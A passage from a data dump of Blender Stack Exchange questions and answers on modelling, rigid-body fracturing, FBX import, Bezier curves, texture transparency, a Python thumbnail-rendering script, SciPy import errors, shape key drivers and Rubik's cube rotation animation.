&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&lt;em&gt;&gt; Preferences &gt; Addons &gt; Cell Fracture&lt;/em&gt;) and rigid-body contraints:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;It's not necessary, but you can get finer control over how an object is fractured by using the &lt;em&gt;Grease Pencil&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WAzMG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Fracture the object into separate objects by pressing &lt;em&gt;Cell Fracture&lt;/em&gt; in &lt;em&gt;3D view &gt; Tool Shelf&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0c464.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0c464.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make them rigid-body objects and constraint them using another &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?275823-WIP-Bullet-Constraints-Tools-0-3-7&quot; rel=&quot;noreferrer&quot;&gt;addon called &lt;em&gt;Bullet Constraints Tools&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Owl7q.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Owl7q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the &lt;em&gt;Calculate Mass&lt;/em&gt; tool to calculate and set the mass of all selected objects based on volume. I used the &lt;em&gt;Glass (Broken)&lt;/em&gt; preset for the shards and the &lt;em&gt;Bronze&lt;/em&gt; preset for the monkey:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VsmH0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Manually animate the render visibility of the original and fractured objects in the &lt;em&gt;Outliner&lt;/em&gt; (camera icon), so that the original is used until it is fractured by an impact, or use post processing. (&lt;a href=&quot;https://blender.stackexchange.com/q/1871/599&quot;&gt;see related post&lt;/a&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aHuwe.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can simulate bending with &lt;a href=&quot;https://docs.blender.org/manual/en/dev/physics/soft_body/index.html#soft-body&quot; rel=&quot;noreferrer&quot;&gt;soft-bodies&lt;/a&gt;, however tearing is not possible. (though again &lt;a href=&quot;http://www.youtube.com/watch?v=Qakuh0ZCjWs&quot; rel=&quot;noreferrer&quot;&gt;there are some tests&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2017-03-17T19:02:31.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6689" PostTypeId="2" ParentId="6682" CreationDate="2014-02-01T20:54:39.283" Score="2" Body="&lt;p&gt;There is another way to solve this (that may work), using the shrinkwrap modifier. Do this before joining the objects.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a vertex group with the vertices you want to snap.&lt;/li&gt;&#xA;&lt;li&gt;Add a shrinkwrap modifier.&lt;/li&gt;&#xA;&lt;li&gt;Set your vertex group as the one affected.&lt;/li&gt;&#xA;&lt;li&gt;Set mode to &quot;Project&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Select the axis to project along.&lt;/li&gt;&#xA;&lt;li&gt;Tick both positive and negative (maybe you need to do this).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BTTUE.png&quot; alt=&quot;shrinkwrap&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2014-02-01T20:54:39.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6690" PostTypeId="1" CreationDate="2014-02-01T23:24:04.973" Score="13" ViewCount="114811" Body="&lt;p&gt;I am trying to import an FBX file from Unity into Blender. Does anybody know how to do that?&lt;/p&gt;&#xA;" OwnerUserId="2328" LastEditorUserId="743" LastEditDate="2015-04-28T23:42:07.637" LastActivityDate="2020-03-12T12:58:07.837" Title="How to import an FBX file into Blender" Tags="&lt;import&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6691" PostTypeId="2" ParentId="6690" CreationDate="2014-02-01T23:56:25.967" Score="23" Body="&lt;p&gt;&lt;em&gt;File&lt;/em&gt; &gt; &lt;em&gt;Import&lt;/em&gt; &gt; &lt;em&gt;FBX (.fbx)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then browse for the file on the next screen, select it, and click &lt;em&gt;Import FBX&lt;/em&gt;. The model should then be loaded into the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KRPIv.png&quot; alt=&quot;File &amp;gt; Import &amp;gt; FBX (.fbx)*&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can't find the option to import FBX files in the file menu, you may need to activate the addon. Go to &lt;em&gt;User Preferences &gt; Add-ons&lt;/em&gt; then search for &quot;fbx&quot; and activate the relevant extension.&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="19307" LastEditDate="2020-03-12T12:58:07.837" LastActivityDate="2020-03-12T12:58:07.837" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="6692" PostTypeId="1" CreationDate="2014-02-02T02:31:22.683" Score="14" ViewCount="2590" Body="&lt;p&gt;What mathematical formula does Blender use to calculate Bezier paths?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="2217" LastEditDate="2014-10-03T00:09:38.633" LastActivityDate="2017-01-12T03:13:31.103" Title="Mathematical formula for Bezier curves" Tags="&lt;bezier-curves&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6693" PostTypeId="2" ParentId="6692" CreationDate="2014-02-02T02:31:22.683" Score="14" Body="&lt;p&gt;For each segment of the path between two control points, it approximates a &lt;a href=&quot;http://en.wikipedia.org/wiki/B%C3%A9zier_curve#Cubic_B.C3.A9zier_curves&quot; rel=&quot;nofollow noreferrer&quot;&gt;cubic Bezier curve&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bBGF.png&quot; alt=&quot;Bezier Curve formula&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where &lt;strong&gt;P&lt;/strong&gt;&lt;sub&gt;0&lt;/sub&gt; and &lt;strong&gt;P&lt;/strong&gt;&lt;sub&gt;3&lt;/sub&gt; are the control points and &lt;strong&gt;P&lt;/strong&gt;&lt;sub&gt;1&lt;/sub&gt; and &lt;strong&gt;P&lt;/strong&gt;&lt;sub&gt;2&lt;/sub&gt; are the handles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uh193.png&quot; alt=&quot;Visual control points&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="58" LastEditDate="2017-01-12T03:13:31.103" LastActivityDate="2017-01-12T03:13:31.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6694" PostTypeId="1" AcceptedAnswerId="6696" CreationDate="2014-02-02T03:25:57.183" Score="1" ViewCount="1918" Body="&lt;p&gt;I have a hair texture , and i took away the white background , but the white hasn't gone away yet!? I want it so all the white is gone and it only shows the colours on the texture .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZrUP4.jpg&quot; alt=&quot;Clearly transparent texture showing white &quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;![Added][3]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6rZSQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="696" LastEditDate="2014-02-02T05:45:42.200" LastActivityDate="2014-02-02T05:45:42.200" Title="Only show colour and NOT transparency?" Tags="&lt;blender-internal-render-engine&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6696" PostTypeId="2" ParentId="6694" CreationDate="2014-02-02T03:59:40.910" Score="4" Body="&lt;p&gt;There are generally four steps to make sure the viewport alpha display:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set &lt;strong&gt;Transparency&lt;/strong&gt; Alpha value to &lt;code&gt;0.000&lt;/code&gt; in Material setting;&lt;/li&gt;&#xA;&lt;li&gt;Toggle &lt;strong&gt;Alpha&lt;/strong&gt; influence in Texture setting;&lt;/li&gt;&#xA;&lt;li&gt;Switch to &lt;strong&gt;GLSL&lt;/strong&gt; shading mode in 3D View Property panel;&lt;/li&gt;&#xA;&lt;li&gt;Use &lt;strong&gt;Texture&lt;/strong&gt; as viewport shading type. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F34x2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, make sure &lt;strong&gt;Using Alpha&lt;/strong&gt; is toggled in Texture panel, although it's set as default. And you may want to use &lt;strong&gt;UV&lt;/strong&gt; as the coordinate type of texture mapping for most of the case.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;However, it is interesting that you can even preview it without assigning any material, even in the default &lt;strong&gt;Multitexture&lt;/strong&gt; shading mode (just like when you drag and drop an local image onto a object in the scene). And of course, it cannot be rendered, since no material assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JxiXe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-02T04:12:04.813" LastActivityDate="2014-02-02T04:12:04.813" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="6697" PostTypeId="2" ParentId="6692" CreationDate="2014-02-02T04:32:44.237" Score="10" Body="&lt;p&gt;Even though this isn't a question about Blender's code exactly, linking to Blender's code for calculating cubic bezier curves may help understanding.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;2D masks can also use a different (more straightforward but slower) method where you can get any point on along the spline using a &lt;em&gt;factor&lt;/em&gt;:&lt;br&gt;See &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/blenkernel/intern/mask.c;7c9b1065895e0a6a12555075980d7a77d1dea8c7$492&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BKE_mask_point_segment_co&lt;/code&gt;&lt;/a&gt; (trivial to adapt for 3D curves too).&lt;/li&gt;&#xA;&lt;li&gt;3D curves use an optimized &lt;em&gt;(less straightforward)&lt;/em&gt;, fixed step, subdivision method:&lt;br&gt;See&#xA;&lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/blenkernel/intern/curve.c;7c9b1065895e0a6a12555075980d7a77d1dea8c7$1362&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;BKE_curve_forward_diff_bezier&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To see how this method works, see wikipedia's description of &lt;a href=&quot;http://en.wikipedia.org/wiki/Bezier_curves&quot; rel=&quot;nofollow&quot;&gt;Higher order curves&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2015-09-09T07:13:46.103" LastActivityDate="2015-09-09T07:13:46.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6698" PostTypeId="2" ParentId="6654" CreationDate="2014-02-02T06:20:26.253" Score="6" Body="&lt;p&gt;Here's a second option, which I now believe is the best solution, as it is the most elegant and versatile that I've found so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution is essentially an extension of the Compositing nodes Scale and FileOutput option. However the critical difference is the addition of an Image node being mixed with the scaled Render Output image before being piped into the FileOutput node. The image node uses a dummy UV image created at the required Thumbnail output dimensions. When mixed with this dummy image, the FileOutput node will output the new dimensions without having to change the Scene Render Dimensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This option is better than my original solution because it is simpler to implement, shorter code, as well as not needing to rely on external file paths. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/01OmG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command line usage (last argument pipes in thumbnail width):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b &quot;file.blend&quot; -o &quot;//out/&quot; -P thumbnail.py -- 500&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the script &lt;strong&gt;thumbnail.py&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import sys&#xA;&#xA;class Thumbnail:&#xA;&#xA;    tWidthArg = int(sys.argv[9]) &#xA;&#xA;    scn = bpy.context.scene&#xA;    resX = scn.render.resolution_x&#xA;    resY = scn.render.resolution_y&#xA;    thumbWidth = 400&#xA;&#xA;    if tWidthArg &amp;gt; 0:&#xA;        thumbWidth = tWidthArg&#xA;&#xA;    thumbHeight = ((thumbWidth/resX)*resY)&#xA;&#xA;    #create new internal dummy image the size we want for thumbnail&#xA;    bpy.ops.image.new(name=&quot;ThumbNailDummyImage&quot;, width=thumbWidth, height=thumbHeight, color=(0.0, 0.0, 0.0, 0.0), alpha=False, generated_type='BLANK', float=False)&#xA;&#xA;    #set up compositing nodes&#xA;    nTree = scn.node_tree&#xA;    Src = nTree.nodes[&quot;Render Layers&quot;]&#xA;    Dst = nTree.nodes[&quot;Composite&quot;]&#xA;&#xA;    #image input node - use dummy uv image&#xA;    imageNode = nTree.nodes.new('CompositorNodeImage')&#xA;    imageNode.name = &quot;INPUTIMAGE&quot;&#xA;    imageNode.image = bpy.data.images['ThumbNailDummyImage']&#xA;    imageNode.location = (Src.location.x+300, Src.location.y-600)&#xA;&#xA;    #scale node to resize thumbnail to correct size&#xA;    scaleNode = nTree.nodes.new('CompositorNodeScale')&#xA;    scaleNode.space = &quot;ABSOLUTE&quot;&#xA;    scaleNode.location = (imageNode.location.x, imageNode.location.y+200)&#xA;    scaleNode.inputs['X'].default_value = thumbWidth&#xA;    scaleNode.inputs['Y'].default_value = thumbHeight&#xA;&#xA;    #mix the scale render output with the dummy uv image to force new output size&#xA;    mixNode = nTree.nodes.new('CompositorNodeMixRGB')&#xA;    mixNode.location = (imageNode.location.x+300, imageNode.location.y)&#xA;&#xA;    #setup output filenode&#xA;    fileOutNode  = nTree.nodes.new('CompositorNodeOutputFile')&#xA;    fileOutNode.location = (mixNode.location.x+300, mixNode.location.y)&#xA;    fileOutNode.layer_slots[0].name='Thumb'&#xA;    fileOutNode.file_slots[0].path='Thumb'&#xA;    fileOutNode.format.file_format= 'JPEG'&#xA;    fileOutNode.format.color_mode = 'RGB'&#xA;    fileOutNode.base_path = '//out/'&#xA;&#xA;    #connect nodes&#xA;    nTree.links.new(scaleNode.inputs[0], Src.outputs[0])&#xA;    nTree.links.new(mixNode.inputs[2], scaleNode.outputs[0])&#xA;    nTree.links.new(mixNode.inputs[1], imageNode.outputs[0])&#xA;    nTree.links.new(fileOutNode.inputs[0], mixNode.outputs[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2014-02-02T06:27:36.000" LastActivityDate="2014-02-02T06:27:36.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6699" PostTypeId="1" CreationDate="2014-02-02T06:52:40.897" Score="2" ViewCount="1616" Body="&lt;p&gt;I have Blender 2.69 for Linux 64bit (using Ubuntu 13.10).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the &lt;a href=&quot;https://blender.stackexchange.com/questions/5287/using-3rd-party-python-modules-scipy/5317#5317&quot;&gt;method&lt;/a&gt; detailed by @BNewmark to get SciPy working with Blender.  I already had SciPy (version 0.13.2) for Python 3 installed from Ubuntu's repositories.  The steps I followed were: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Opened a terminal and entered &lt;code&gt;python3&lt;/code&gt;. &lt;/li&gt;&#xA;&lt;li&gt;Entered &lt;code&gt;import scipy; print(scipy.__path__)&lt;/code&gt; which gave the output: &lt;code&gt;['/usr/local/lib/python3.3/dist-packages/scipy']&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Exitted Python and copied this directory to the site-packages directory (where NumPy was by default)&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;cp -r /usr/lib/python3/dist-packages/scipy ~/blender-2.69-linux-glibc211-x86_64/2.69/python/lib/python3.3/site-packages/&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;Opened Blender, opened a Python console window and entered &lt;code&gt;import scipy&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The error I got was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;  File &quot;/home/garrett/blender-2.69-linux-glibc211-x86_64/2.69/python/lib/python3.3/site-packages/scipy/__init__.py&quot;, line 77, in &amp;lt;module&amp;gt;&#xA;    from numpy import oldnumeric&#xA;ImportError: cannot import name oldnumeric&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Source/Python/API/Numpy_Bundle&quot; rel=&quot;nofollow noreferrer&quot;&gt;This page&lt;/a&gt; talks about how NumPy is bundled with Blender (on Linux) and they show &quot;the CMake install command that is used to get rid of extra files, reducing numpy's compressed size&quot; which includes getting rid of oldnumeric. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can import NumPy without problems. I also tried deleting Blender's bundled NumPy (version 1.8.1) and replacing it with my system's NumPy for Python 3.3 (version 1.8.0), which include oldnumeric, following similar steps as above. But then I couldn't import SciPy &lt;em&gt;or&lt;/em&gt; NumPy, which both gave the error &lt;code&gt;ImportError: cannot import name multiarray&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-02-02T22:41:10.847" Title="Importing Scipy: &quot;cannot import name oldnumeric&quot;" Tags="&lt;python&gt;&lt;linux&gt;" AnswerCount="0" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6700" PostTypeId="1" CreationDate="2014-02-02T08:12:28.170" Score="0" ViewCount="692" Body="&lt;p&gt;I want to make a plant that has long 'slitlike' leaves (long, and narrows to a point at each end). So I made a UV sphere and have removed the horizontal edges so i just have the slits 'on the sphere' as it were. Now I want to &quot;peel off&quot; each slit individually and shape it so that it has the shape of the leaf. How might I do that?&#xA;thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the plant should look like this: &lt;a href=&quot;http://en.wikipedia.org/wiki/File%3aSnake_plant.jpg&quot; rel=&quot;nofollow&quot;&gt;enter link description here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2330" LastEditorUserId="395" LastEditDate="2014-02-02T11:06:38.243" LastActivityDate="2014-02-02T11:06:38.243" Title="How to &quot;peel off&quot; segments of a sphere?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6702" PostTypeId="2" ParentId="6700" CreationDate="2014-02-02T08:44:21.080" Score="3" Body="&lt;p&gt;Although there are other better ways to do this, but for your question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you are asking how to separate part of a object as a new one. Basically, in Edit mode, select the part you want to peel off, hit &lt;kbd&gt;P&lt;/kbd&gt; and choose &lt;strong&gt;Selection&lt;/strong&gt; to separte the selected part as a new object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Bk9MN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-02-02T08:54:49.073" LastActivityDate="2014-02-02T08:54:49.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6703" PostTypeId="2" ParentId="6700" CreationDate="2014-02-02T09:55:52.237" Score="2" Body="&lt;p&gt;If you don't want to make it into separate objects, you can press &lt;kbd&gt;Y&lt;/kbd&gt; and you will separate vertices. It will still be part of the same object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yet another option is to duplicate a segment with &lt;kbd&gt;shift + D&lt;/kbd&gt;. This is the same as &lt;kbd&gt;Y&lt;/kbd&gt; but the original geometry remains.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2014-02-02T09:55:52.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6704" PostTypeId="1" AcceptedAnswerId="6705" CreationDate="2014-02-02T13:00:26.323" Score="3" ViewCount="2242" Body="&lt;p&gt;I can access the shapekeys of an object like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['mesh'].data.shape_keys.key_blocks&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I can get the &quot;shapekeys package&quot; of the object with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['mesh'].data.shape_keys.name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can access the drivers from that &quot;shapekeys package&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.shape_keys['Key.002'].animation_data.drivers.items()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;I need to &lt;strong&gt;check scripted expressions and variables from drivers&lt;/strong&gt;. The access could be this way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.shape_keys[bpy.data.objects['mesh'].data.shape_keys.name].animation_data.drivers.items()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would be this the best way (more short) to access this info?&lt;/p&gt;&#xA;" OwnerUserId="2266" LastEditorUserId="1363" LastEditDate="2014-02-02T16:10:19.393" LastActivityDate="2015-07-14T15:01:16.993" Title="How to access shapekey driver via Python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;drivers&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6705" PostTypeId="2" ParentId="6704" CreationDate="2014-02-02T13:38:52.430" Score="5" Body="&lt;p&gt;All shape keys are stored in &lt;code&gt;bpy.data.shape_keys&lt;/code&gt; and can be applied to multiple objects. Each object possesses an attribute pointing to the shape key if it is using any. Thus &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;shape_key = bpy.data.objects['yourObject'].data.shape_keys&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will give you access to it directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bpy.data.shape_keys&lt;/code&gt; is a &lt;code&gt;bpy_prop_collection&lt;/code&gt; which allows access to its elements by name or index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you know the index or the name of a shape key you will probably want to access it from &lt;code&gt;bpy.data.shape_keys&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't know which shape key is used by an object you will retrieve it from &lt;code&gt;obj.data.shape_keys&lt;/code&gt;.&#xA;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Expression &amp;amp; Variables:&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Access by index only&#xA;driver = bpy.data.shape_keys['Key.002'].animation_data.drivers[index]&#xA;driver.driver.expression&#xA;driver.driver.variables&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="1363" LastEditDate="2014-02-02T16:12:24.810" LastActivityDate="2014-02-02T16:12:24.810" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6706" PostTypeId="2" ParentId="6652" CreationDate="2014-02-02T14:23:28.467" Score="4" Body="&lt;p&gt;In this case, the specific bones affecting the vertices needs to be found. Once that process is complete the bone weight can be removed completely by removing the vertex from the bone's Vertex Group or the bone weight painting for the unneeded bones reduced to zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the low poly density in this case&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the mesh Object.&lt;/li&gt;&#xA;&lt;li&gt;Enter Edit Mode.&lt;/li&gt;&#xA;&lt;li&gt;Select ONE vertex. (One in the Thigh to Calf area for the above image.)&lt;/li&gt;&#xA;&lt;li&gt;Open the Properties Menu. (N key by default.)&lt;/li&gt;&#xA;&lt;li&gt;Locate the Vertex Groups Pane on the Properties Menu. It can be noted by the listing of any Vertex Groups you have defined and the Normalize and Copy buttons.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All Vertex Groups influencing the selected vertex are listed in this pane and by how much in a 0.0-1.0 scale. It is highly likely that a child bone (Most likely a fingertip in your example rig; as alluded to by Leon Cheung.) is weighted to the vertex. Any weight, even a minute 0.000001 can influence the mesh if no other bones are acting on a vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This process may have to be repeated for multiple vertices. A slightly quicker way to remove vertices from unwanted Vertex Groups can be used if there is a pattern. Once the offending bone is found: select a group of vertices to be removed, open the Properties Window (found between Logic Editor and Outliner) / Object Data Panel (found between Object Modifiers and Material) / Vertex Groups Pane, select the &quot;bad bone&quot;, click Remove.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most likely suspects in your example rig would be Finger_Middle_3.L, Finger_Index_3.L or Finger_Thumb_3.L. All are lower than the other bones and close to the model's robe.&lt;/p&gt;&#xA;" OwnerUserId="2335" LastActivityDate="2014-02-02T14:23:28.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6707" PostTypeId="1" AcceptedAnswerId="6724" CreationDate="2014-02-02T20:10:49.430" Score="6" ViewCount="3595" Body="&lt;p&gt;I’ve built a blender scene of a Rubik’s Cube to create animations of different move sequences for solving the cube.  I’ve got a lot of sequences to create, so I need the simplest way possible to create each animation.  However, I’m finding that animating rotation is a nightmare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I rotate one side of the cube (nine pieces around the cube’s centre), I’m struggling to get the individual pieces to behave.  With XYZ Euler, the first couple of rotations are fine, but on the third rotation the pieces spin about into position.  With Quaternion WXYZ, the pieces separate slightly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve also tried creating Child Of constraints, but it’s too much work as rotating one side means that I have to create keyframes for setting the influence of the parent to 1 for the nine pieces and then again to set the influence to 0.  It takes an age.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s a link to my blend file using XYZ Euler:  &lt;a href=&quot;https://www.dropbox.com/s/pp8iztzkz5mr5ki/Cube_XYZ_Euler.blend&quot; rel=&quot;noreferrer&quot;&gt;https://www.dropbox.com/s/pp8iztzkz5mr5ki/Cube_XYZ_Euler.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I got the idea to use Quaternion rotation from this video, which also uses the same method for performing the rotations as me: &lt;a href=&quot;http://www.youtube.com/watch?feature=player_detailpage&amp;amp;v=4fs01zdvtg0#t=855&quot; rel=&quot;noreferrer&quot;&gt;http://www.youtube.com/watch?feature=player_detailpage&amp;amp;v=4fs01zdvtg0#t=855&lt;/a&gt; The URL jumps to 14:15 which shows exactly how I’m doing my rotations.  However, it works for the guy in the video!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the video description is a link to the blend file.  When you load this blend file and play it, the rotations look perfect (using Quaternion rotation).  However, if you delete all the keyframes and start rotating it yourself, the pieces start to separate.  Is this because the blend file was created on an older version of blender where the rotation worked better?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like I’m close to getting it, but just missing 